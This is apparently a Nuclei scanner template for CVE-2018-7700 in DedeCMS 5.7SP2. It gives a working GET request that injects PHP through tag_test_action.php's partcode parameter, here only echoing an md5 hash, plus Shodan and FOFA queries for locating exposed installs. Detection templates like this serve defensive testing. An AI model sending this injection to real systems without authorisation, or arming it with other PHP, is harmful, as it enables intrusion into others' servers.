DedeCMS 5.7SP2 - Cross-Site Request Forgery/Remote Code Execution

id: CVE-2018-7700

info:
  name: DedeCMS 5.7SP2 - Cross-Site Request Forgery/Remote Code Execution
  author: pikpikcu
  severity: high
  description: |
    DedeCMS 5.7SP2 is susceptible to cross-site request forgery with a corresponding impact of arbitrary code execution because the partcode parameter in a tag_test_action.php request can specify a runphp field in conjunction with PHP code.
  impact: |
    Successful exploitation of these vulnerabilities can lead to unauthorized actions performed on behalf of the user and execution of arbitrary code.
  remediation: |
    Apply the latest security patches and update to a newer version of DedeCMS.
  reference:
    - https://laworigin.github.io/2018/03/07/CVE-2018-7700-dedecms%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7700
    - https://github.com/0ps/pocassistdb
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2018-7700
    cwe-id: CWE-352
    epss-score: 0.74118
    epss-percentile: 0.99489
    cpe: cpe:2.3:a:dedecms:dedecms:5.7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dedecms
    product: dedecms
    shodan-query:
      - http.html:"dedecms"
      - cpe:"cpe:2.3:a:dedecms:dedecms"
    fofa-query:
      - body="dedecms"
      - app="dedecms"
  tags: cve,cve2018,dedecms,rce,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5%28%22CVE-2018-7700%22%29%3B{/dede:field}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "4cc32a3a81d2bb37271934a48ce4468a"

      - type: status
        status:
          - 200